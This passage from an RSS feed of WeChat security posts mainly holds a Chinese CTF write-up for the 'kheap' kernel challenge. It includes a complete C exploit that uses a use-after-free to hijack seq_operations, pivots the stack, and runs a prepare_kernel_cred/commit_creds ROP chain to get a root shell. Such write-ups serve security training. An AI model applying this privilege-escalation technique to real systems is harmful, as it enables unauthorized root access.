data-value="3"></mp-style-type></p>



<p><a href="2247501413">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=1ecc1565&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501413%26idx%3D2%26sn%3D9c0b12fc3802278a2fc23e9c801840b8%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Mar 2023 18:20:00 +0800</pubDate>
    </item>
    <item>
      <title>【PWN专场】公开赛wp｜kheap</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501413&amp;idx=3&amp;sn=652b24d4dbe04cfe0b21b0893a97f246</link>
      <description></description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-03-15 18:20</span> <span style="display: inline-block;">北京</span>
</p>

<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=1e856d0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictAJ0rTLs0kTOxjh0jwWltcCQu3uz9iclW9aVNn64JMOxhAK0iaA33rAbfw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<h2 cid="n0" mdtype="heading" style="break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);" data-mpa-powered-by="yiban.io"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">1.题目名称</span></h2><p cid="n2" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">kheap</span></p><h2 cid="n3" mdtype="heading" style="break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">2.题目考点</span></h2><p cid="n4" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">seq_operation结构体的劫持(UAF)</span></p><h2 cid="n5" mdtype="heading" style="break-after: avoid-page;break-inside: avoid;orphans: 4;font-size: 1.75em;margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">3.题目详细解题方法</span></h2><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.28714107365792757" data-s="300,640" style="" data-type="png" data-w="801" src="https://wechat2rss.xlab.app/img-proxy/?k=e3459b42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtzAD45OOV0YUnd2zZNoznWpqWSs6wictA0LtvEe1WfZOMicrqVxias9FktHHia7XibViaJiaN4L5O6HGz4Uugl2LZQ70g%2F640%3Fwx_fmt%3Dpng"/></p><p cid="n7" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">劫持seq_operations结构体，</span><span style="font-family: Optima-Regular, PingFangTC-light;">该结构体为一个函数虚表。</span><span style="font-family: Optima-Regular, PingFangTC-light;">而在read(seq,ptr,0);</span><span style="font-family: Optima-Regular, PingFangTC-light;">时会执行上文中的代</span><span style="font-family: Optima-Regular, PingFangTC-light;">码，</span><span style="font-family: Optima-Regular, PingFangTC-light;">劫持该结构体的指针就能劫持RIP。</span></p><p cid="n8" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">而由于该调用处没有可用的函数指针，</span><span style="font-family: Optima-Regular, PingFangTC-light;">因此通过xchg eax,esp来进行栈劫持。</span></p><p cid="n8" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">eax为劫持的gadget的低位，这个低位则会落入用户态的页表中。</span></p><p cid="n8" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-family: Optima-Regular, PingFangTC-light;">通过该方法进行栈劫持，在用户态的段中部署ROP提权</span></p><p cid="n9" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">gcc -o main main.c -static生成main文件，在将该文件传入qemu虚拟机中，执行该文件即可提权。</span></p><p cid="n9" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><span style="font-size: 16px;font-family: Optima-Regular, PingFangTC-light;">exp：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdio.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;fcntl.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdlib.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;string.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;stdint.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;assert.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;signal.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;unistd.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;syscall.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;pthread.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;poll.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;linux/userfaultfd.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;linux/fs.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/shm.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/msg.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/ipc.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/ioctl.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/types.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/stat.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/mman.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/socket.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">include</span> <span class="code-snippet__meta-string">&lt;sys/syscall.h&gt;</span></span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__meta">#<span class="code-snippet__meta-keyword">define</span> PAGE_SIZE 0x1000</span></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">info</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> idx;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> *ptr;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">request</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">char</span> *ptr;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> len;</span></code><code><span class="code-snippet_outer">};</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">int</span> dev_fd;</span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">uint64_t</span> user_cs,user_ss,user_eflag,user_rsp;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">save_state</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">asm</span>(</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movq %%cs, %0;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movq %%ss, %1;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;movq %%rsp, %3;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pushfq;&#34;</span></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__string">&#34;pop %2;&#34;</span></span></code><code><span class="code-snippet_outer">    : <span class="code-snippet__string">&#34;=r&#34;</span>(user_cs),<span class="code-snippet__string">&#34;=r&#34;</span>(user_ss),<span class="code-snippet__string">&#34;=r&#34;</span>(user_eflag),<span class="code-snippet__string">&#34;=r&#34;</span>(user_rsp)</span></code><code><span class="code-snippet_outer">    :</span></code><code><span class="code-snippet_outer">    : <span class="code-snippet__string">&#34;memory&#34;</span></span></code><code><span class="code-snippet_outer">  );</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">new</span><span class="code-snippet__params">(<span class="code-snippet__keyword">uint64_t</span> idx)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">info</span> <span class="code-snippet__title">arg</span>={</span>idx,<span class="code-snippet__literal">NULL</span>};</span></code><code><span class="code-snippet_outer">  ioctl(dev_fd,<span class="code-snippet__number">0x10000</span>,&amp;arg);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">delete</span><span class="code-snippet__params">(<span class="code-snippet__keyword">uint64_t</span> idx)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">info</span> <span class="code-snippet__title">arg</span>={</span>idx,<span class="code-snippet__literal">NULL</span>};</span></code><code><span class="code-snippet_outer">  ioctl(dev_fd,<span class="code-snippet__number">0x10001</span>,&amp;arg);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">choose</span><span class="code-snippet__params">(<span class="code-snippet__keyword">uint64_t</span> idx)</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">info</span> <span class="code-snippet__title">arg</span>={</span>idx,<span class="code-snippet__literal">NULL</span>};</span></code><code><span class="code-snippet_outer">  ioctl(dev_fd,<span class="code-snippet__number">0x10002</span>,&amp;arg);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">seq_open</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> seq;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> ((seq=open(<span class="code-snippet__string">&#34;/proc/self/stat&#34;</span>,O_RDONLY))==<span class="code-snippet__number">-1</span>)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">puts</span>(<span class="code-snippet__string">&#34;[X] Seq Open Error&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">exit</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">return</span> seq;</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">void</span> <span class="code-snippet__title">get_shell</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  system(<span class="code-snippet__string">&#34;/bin/sh&#34;</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">exit</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">}</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__function"><span class="code-snippet__keyword">int</span> <span class="code-snippet__title">main</span><span class="code-snippet__params">()</span></span></span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">  save_state();</span></code><code><span class="code-snippet_outer">  dev_fd=open(<span class="code-snippet__string">&#34;/dev/kheap&#34;</span>,O_RDWR);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">if</span> (dev_fd&lt;<span class="code-snippet__number">0</span>)</span></code><code><span class="code-snippet_outer">  {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">puts</span>(<span class="code-snippet__string">&#34;[X] Device Open Error&#34;</span>);</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__built_in">exit</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  }</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> *buf=<span class="code-snippet__built_in">malloc</span>(<span class="code-snippet__number">0x20</span>); <span class="code-snippet__keyword">uint64_t</span> *recv=<span class="code-snippet__built_in">malloc</span>(<span class="code-snippet__number">0x20</span>);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">new</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  choose(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">delete</span>(<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">int</span> seq_fd=seq_open();</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  read(dev_fd,(<span class="code-snippet__keyword">char</span> *)recv,<span class="code-snippet__number">0x20</span>);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> kernel_base=recv[<span class="code-snippet__number">0</span>]<span class="code-snippet__number">-0x33F980</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> prepare_kernel_cred=kernel_base+<span class="code-snippet__number">0xcebf0</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> commit_creds=kernel_base+<span class="code-snippet__number">0xce710</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> kpti_trampoline=kernel_base+<span class="code-snippet__number">0xc00fb0</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> seq_read=kernel_base+<span class="code-snippet__number">0x340560</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> pop_rdi=kernel_base+<span class="code-snippet__number">0x2517a</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> mov_rdi_rax=kernel_base+<span class="code-snippet__number">0x5982f4</span>;</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> gadget=kernel_base+<span class="code-snippet__number">0x94a10</span>;</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>(<span class="code-snippet__string">&#34;[+] kernel_base: 0x%lx\n&#34;</span>,kernel_base);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>(<span class="code-snippet__string">&#34;[+] prepare_kernel_cred: 0x%lx\n&#34;</span>,prepare_kernel_cred);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>(<span class="code-snippet__string">&#34;[+] commit_creds: 0x%lx\n&#34;</span>,commit_creds);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> *mmap_addr=mmap((<span class="code-snippet__keyword">void</span> *)(gadget&amp;<span class="code-snippet__number">0xFFFFF000</span>),PAGE_SIZE,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_SHARED,<span class="code-snippet__number">-1</span>,<span class="code-snippet__number">0</span>);</span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">printf</span>(<span class="code-snippet__string">&#34;[+] mmap_addr: 0x%lx\n&#34;</span>,(<span class="code-snippet__keyword">uint64_t</span>)mmap_addr);</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__keyword">uint64_t</span> *ROP=(<span class="code-snippet__keyword">uint64_t</span> *)(((<span class="code-snippet__keyword">char</span> *)mmap_addr)+<span class="code-snippet__number">0xa10</span>),i=<span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=pop_rdi;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=<span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=prepare_kernel_cred;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=commit_creds;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=kpti_trampoline+<span class="code-snippet__number">22</span>;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=<span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=<span class="code-snippet__number">0</span>;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=(<span class="code-snippet__keyword">uint64_t</span>)get_shell;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=user_cs;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=user_eflag;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=user_rsp;</span></code><code><span class="code-snippet_outer">  *(ROP+i++)=user_ss;</span></code><code><span class="code-snippet_outer">  </span></code><code><span class="code-snippet_outer">  <span class="code-snippet__built_in">memcpy</span>(buf,recv,<span class="code-snippet__number">0x20</span>);</span></code><code><span class="code-snippet_outer">  buf[<span class="code-snippet__number">0</span>]=(<span class="code-snippet__keyword">uint64_t</span>)gadget;</span></code><code><span class="code-snippet_outer">  write(dev_fd,(<span class="code-snippet__keyword">char</span> *)buf,<span class="code-snippet__number">0x20</span>);</span></code><code><span class="code-snippet_outer">  read(seq_fd,<span class="code-snippet__literal">NULL</span>,<span class="code-snippet__number">1</span>);</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p cid="n10" mdtype="paragraph" style="line-height: inherit;orphans: 4;margin-top: 0.8em;margin-bottom: 0.8em;white-space: pre-wrap;caret-color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;text-align: start;background-color: rgb(255, 255, 255);"><br/></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247501413">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=53434f96&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzI2OTUzMzg3Ng%3D%3D%26mid%3D2247501413%26idx%3D3%26sn%3D652b24d4dbe04cfe0b21b0893a97f246%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 15 Mar 2023 18:20:00 +0800</pubDate>
    </item>
    <item>
      <title>胖哈勃比赛｜真正的无PWN不欢</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzI2OTUzMzg3Ng==&amp;mid=2247501280&amp;idx=1&amp;sn=b1eadbbf8bd452e1413ef5cde15441ab</link>
      <description>体验当一次真正的pwn友～</description>
      <content:encoded><![CDATA[<p>
<span></span> <span>2023-03-06 18:00</span> <span style="display: inline-block;">北京</span>
</p>

<p>体验当一次真正的pwn友～</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=9c85d80b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FtzAD45OOV0YFVzm8rxCK6CsshiaHE7iaZxGLv79Zg66vlxWRLiabZ5n5ic5TQkBcY3NLnDGlGOPxAcpgl2Twx112Og%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style="margin-bottom: 8px;text-align: center;line-height: normal;" data-mpa-powered-by="yiban.io"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;">距离上一场比赛过去 </span><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;color: rgb(255, 169, 0);"> ？</span><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;">天</span></p><p style="margin-bottom: 8px;text-align: center;line-height: normal;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;">距离上一场专场赛过去  <span style="font-size: 15px;color: rgb(255, 169, 0);">？？ </span>天</span></p><p style="margin-bottom: 8px;text-align: center;line-height: normal;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;">距离上一场 <strong>PWN专场赛</strong>过去 <span style="font-size: 15px;color: rgb(255, 169, 0);">？？？</span>天</span></p><p style="margin-bottom: 8px;text-align: center;line-height: normal;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;">胖胖什么都不记得了，胖胖也很疑惑</span></p><section style="text-align: center;line-height: 1.6em;"><span style="color: rgb(255, 169, 0);"><strong><span style="color: rgb(255, 169, 0);font-size: 15px;font-family: Arial, Helvetica, sans-serif;">？？？？</span></strong></span></section><section style="text-align: center;line-height: 1.6em;"><span style="font-size: 15px;font-family: Arial, Helvetica, sans-serif;">停！！什么，PWN专场？</span></section><p style="text-align: center;"><img class="rich_pages wxw-img js_insertlocalimg" data-ratio="1" data-s="300,640" style="" data-type="gif" data-w="240" src="https://wechat2rss.xlab.app/img-proxy/?k=4b6a3ca6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FtzAD45OOV0YFVzm8rxCK6CsshiaHE7iaZxwRCWEKQX7J3ZLnJrFXJ2noZQcvduIMfXaDasdsbSbOybb6UujmDC7w%2F640%3Fwx_fmt%3Dgif"/></p><p style="line-height: normal;margin-bottom: 8px;text-align: center;"><span style="font-size: 